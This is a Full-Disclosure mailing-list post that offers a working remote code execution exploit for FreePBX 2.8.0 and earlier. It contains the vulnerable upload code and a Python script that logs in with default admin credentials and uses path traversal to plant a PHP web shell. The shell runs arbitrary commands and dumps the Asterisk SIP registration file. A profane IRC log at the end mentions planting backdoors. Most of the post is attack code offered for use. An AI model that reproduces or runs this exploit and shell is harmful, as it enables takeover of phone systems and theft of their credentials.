[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] FreePBX <= 2.8.0 Recordings Interface Allows Remote Code Execution




                           ,-------.                 /             
                         ,'         `.           ,--'              
                       ,'             `.      ,-;--        _.-     
                 pow! /                 \ ---;-'  _.=.---''        
    +-------------+  ;    X        X     ---=-----'' _.-------     
    |    -----    |--|                   \-----=---:i-             
    +XX|'i:''''''''  :                   ;`--._ ''---':----        
    /X+-)             \   \         /   /      ''--._  `-          
   .XXX|)              `.  `.     ,'  ,'             ''---.        
     X\/)                `.  '---'  ,'                     `-      
       \                   `---+---'        
        \                      |            "Witness my perfection !"
         \.                    |           
           `-------------------+            
  


FreePBX recordings interface allows remote code executionPublished: 
2010-09-23Version: 1.0Vendor: FreePBX (http://www.freepbx.org/)Product: FreePBX 
and VOIP solutions (AsteriskNOW, TrixBox, etc) using itVersion(s) affected: 
2.8.0 and below

/* zZzZz */ <?php  if (isset($_FILES['ivrfile']['tmp_name']) &&  
is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {    if (empty($usersnum)) {  
    $dest = "unnumbered-";    } else {      $dest = "{$usersnum}-";    }    
$suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);    $destfilename 
= $recordings_save_path.$dest."ivrrecording.".$suffix;    
move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);    echo 
"<h6>"._("Successfully uploaded")."      ".$_FILES['ivrfile']['name']."</h6>";  
  $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');  } ?> /* 
zZzZz */


/**/god.py/**/
#!/usr/bin/pythonimport os, socket, sys, urllib2, re, MultipartPostHandler
def exploit(host):    auth_handler = urllib2.HTTPBasicAuthHandler()    
auth_handler.add_password('FreePBX Administration', host, 'admin', 'admin')    
opener = urllib2.build_opener(auth_handler, 
MultipartPostHandler.MultipartPostHandler)    url = 
'https://'+host+'/admin/config.php'    header = {'Referer': 
"https://"+host+"/admin/config.php?type=setup&display=recordings"}    post_data 
= {}    post_data['display'] = 'recordings'    post_data['action'] = 
'recordings_start'    post_data['usersnum'] = 
'../../../../../var/www/html/admin/Z'    post_data['ivrfile'] = open('x.php', 
"rb")    urllib2.install_opener(opener)    request = urllib2.Request(url, 
post_data, header)    socket.setdefaulttimeout(4)    try:        data = 
urllib2.urlopen('https://'+host+'/admin/config.php').read()        authobj = 
re.compile('(?:Logged\s)?')        matchobj = authobj.match(data)        if 
matchobj:            print 'https://'+host+'/admin/config.php admin:admin'      
      urllib2.urlopen(request)            os.system("echo 
'https://"+host+"/admin/Z-ivrrecording.php?sip=info'");            sys.exit()   
     else:            sys.exit()    except:        sys.exit()
def verify(host):    socket.setdefaulttimeout(4)    theurl = 
'https://'+host+'/admin/config.php'    req = urllib2.Request(theurl)    try:    
    handle = urllib2.urlopen(req)    except IOError, e:        if hasattr(e, 
'code'):            if e.code != 401:                sys.exit()            
else:                header = e.headers['www-authenticate']                
authobj = re.compile('(?:FreePBX\s)?')                matchobj = 
authobj.match(header)                if matchobj:                    
exploit(host)                else:                    sys.exit()

def checkit(host):    auth_handler = urllib2.HTTPBasicAuthHandler()    
auth_handler.add_password('FreePBX Administration', host, 'admin', 'admin')    
opener = urllib2.build_opener(auth_handler)    urllib2.install_opener(opener)   
 socket.setdefaulttimeout(4)    try:        data = 
urllib2.urlopen('https://'+host+'/admin/config.php').read()        authobj = 
re.compile('(?:Logged\s)?')        matchobj = authobj.match(data)        if 
matchobj:            print 'https://'+host+'/admin/config.php admin:admin'      
      exploit(host)        else:            sys.exit()    except:        
sys.exit()
if len(sys.argv) < 2:        print '[!] '+sys.argv[0]+' IP'        sys.exit()
host = sys.argv[1]verify(host)


/**/x.php/**/<body bgcolor="black"><font 
color="lime"><pre><?phperror_reporting(0);set_time_limit(0);echo 
base64_decode("Wm1FdSB2MC4x")."\n";if ($_GET["php"] == "info") { $cmd = 
$_GET["ip"]; @system($cmd); }if ($_GET["sip"] == "info") {  @system("cat 
/etc/asterisk/sip_registrations.conf"); }?></pre></font>




/**/MultipartPostHandler.py/**/

#!/usr/bin/python
"""ZmEu v0.1"""
import urllibimport urllib2import mimetools, mimetypesimport os, stat
class Callable:    def __init__(self, anycallable):        self.__call__ = 
anycallable
doseq = 1
class MultipartPostHandler(urllib2.BaseHandler):    handler_order = 
urllib2.HTTPHandler.handler_order - 10
    def http_request(self, request):        data = request.get_data()        if 
data is not None and type(data) != str:            v_files = []            
v_vars = []            try:                 for(key, value) in data.items():    
                 if type(value) == file:                         
v_files.append((key, value))                     else:                         
v_vars.append((key, value))            except TypeError:                
systype, value, traceback = sys.exc_info()                raise TypeError, "not 
a valid non-string sequence or mapping object", traceback
            if len(v_files) == 0:                data = 
urllib.urlencode(v_vars, doseq)            else:                boundary, data 
= self.multipart_encode(v_vars, v_files)                contenttype = 
'multipart/form-data; boundary=%s' % boundary                
if(request.has_header('Content-Type')                   and 
request.get_header('Content-Type').find('multipart/form-data') != 0):           
         print "Replacing %s with %s" % (request.get_header('content-type'), 
'multipart/form-data')                
request.add_unredirected_header('Content-Type', contenttype)
            request.add_data(data)        return request
    def multipart_encode(vars, files, boundary = None, buffer = None):        
if boundary is None:            boundary = mimetools.choose_boundary()        
if buffer is None:            buffer = ''        for(key, value) in vars:       
     buffer += '--%s\r\n' % boundary            buffer += 'Content-Disposition: 
form-data; name="%s"' % key            buffer += '\r\n\r\n' + value + '\r\n'    
    for(key, fd) in files:            file_size = 
os.fstat(fd.fileno())[stat.ST_SIZE]            filename = 
fd.name.split('/')[-1]            contenttype = 
mimetypes.guess_type(filename)[0] or 'application/octet-stream'            
buffer += '--%s\r\n' % boundary            buffer += 'Content-Disposition: 
form-data; name="%s"; filename="%s"\r\n' % (key, filename)            buffer += 
'User-Agent: ZmEu/pbx\r\n'            buffer += 'Content-Type: %s\r\n' % 
contenttype            # buffer += 'Content-Length: %s\r\n' % file_size         
   fd.seek(0)            buffer += '\r\n' + fd.read() + '\r\n'        buffer += 
'--%s--\r\n\r\n' % boundary        return boundary, buffer    multipart_encode 
= Callable(multipart_encode)
    https_request = http_request
def main():    import tempfile, sys
    validatorURL = "http://validator.w3.org/check";    opener = 
urllib2.build_opener(MultipartPostHandler)
    def validateFile(url):        temp = tempfile.mkstemp(suffix=".html")       
 os.write(temp[0], opener.open(url).read())        params = { "ss" : "0",       
     # show source                   "doctype" : "Inline",                   
"uploaded_file" : open(temp[1], "rb") }        print opener.open(validatorURL, 
params).read()        os.remove(temp[1])
    if len(sys.argv[1:]) > 0:        for arg in sys.argv[1:]:            
validateFile(arg)    else:        validateFile("http://www.google.com";)
if __name__=="__main__":    main()

/**//**/

/*
[08:20pm] <@zeu> Uptime: 1 week 2 days 3 hours 41 minutes 21 seconds[08:29pm] * 
Quits: @eins (eins5@xxxxxxxxxx) (Read error: Operation timed out)[08:33pm] 
<@d3mon> kay me bbs gonna setup some backd00r and then release it[08:33pm] 
<@d3mon> y0 zmeu[08:33pm] <@d3mon> keep in touch[08:34pm] <@d3mon> i did not 
forgot[08:34pm] <@d3mon> what you need[08:34pm] <@d3mon> in case you dont have 
that vuln  yet[08:34pm] <@d3mon> i'll provide tonight[08:35pm] <@d3mon> also 
becarefull with that sickhead[08:35pm] <@d3mon> Kryptik[08:35pm] * Joins: _eins 
(eins5@xxxxxxxxxx)[08:35pm] <@d3mon> [00:28] <@d3mon> [15:49] <xd> coz, i know 
he mustve rooted one of my ircd boxes.[08:35pm] <@d3mon> [00:28] <@d3mon> 
[15:49] <xd> this is why im sick of using linux for them[08:35pm] <@d3mon> 
[00:28] <@d3mon> [15:50] <xd> theyre just, a pain in arse.[08:35pm] <@d3mon> 
[00:28] <@d3mon> [15:50] <xd> i loose code to dickheads[08:35pm] <@d3mon> 
[00:28] <@d3mon> [15:50] <xd> and, you would think he would give me some 
codes[08:35pm] <@d3mon> [00:28] <@d3mon> [15:50] <xd> but he always 
asks[08:35pm] <@d3mon> [00:28] <@d3mon> [15:50] <xd> i always help him[08:35pm] 
<@d3mon> [00:28] <@d3mon> [15:50] <xd> and, he never once gives me 
shit.[08:35pm] <@d3mon> [00:28] <@d3mon> [15:50] <xd> nothing[08:35pm] <@d3mon> 
[00:28] <@d3mon> [15:50] <xd> i dont even know why hes in my channel[08:35pm] 
<@d3mon> [00:28] <@d3mon> [15:50] <xd> hes a fucking leech[08:36pm] <@d3mon> 
hahaha j00 r  a fuck1ng dickhead[08:36pm] <@d3mon> mwhaahhahahha[08:36pm] 
<@d3mon> also a leech[08:36pm] <@d3mon> be carefull man[08:36pm] <@zeu> ce 
ma[08:37pm] <@d3mon> asta zice [08:37pm] <@d3mon> xd--[08:37pm] <@d3mon> despre 
tine[08:37pm] <@d3mon> acum ceva vreme[08:37pm] <@zeu> da, ca nui dau codurile 
mele[08:37pm] <@zeu> si ?[08:37pm] <@zeu> [08:36pm] <@d3mon> be carefull 
man[08:37pm] <@d3mon> f bine faci[08:37pm] <@d3mon> :))[08:38pm] <@d3mon> da-i 
la muie[08:38pm] <@d3mon> da-l in sloboz[08:38pm] <@zeu> nam nevoie de ajutoru 
nimanui ma :)[08:38pm] <@d3mon> ca un lake afumat[08:38pm] <@d3mon> ca 
e*[08:38pm] <@d3mon> e vai pula lui[08:38pm] <@d3mon> crede-ma[08:38pm] 
<@d3mon> io m-am convins...Thank's xd, do you need codes? get roles!"fuck 
friendz" -- sGod....*/                                           
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/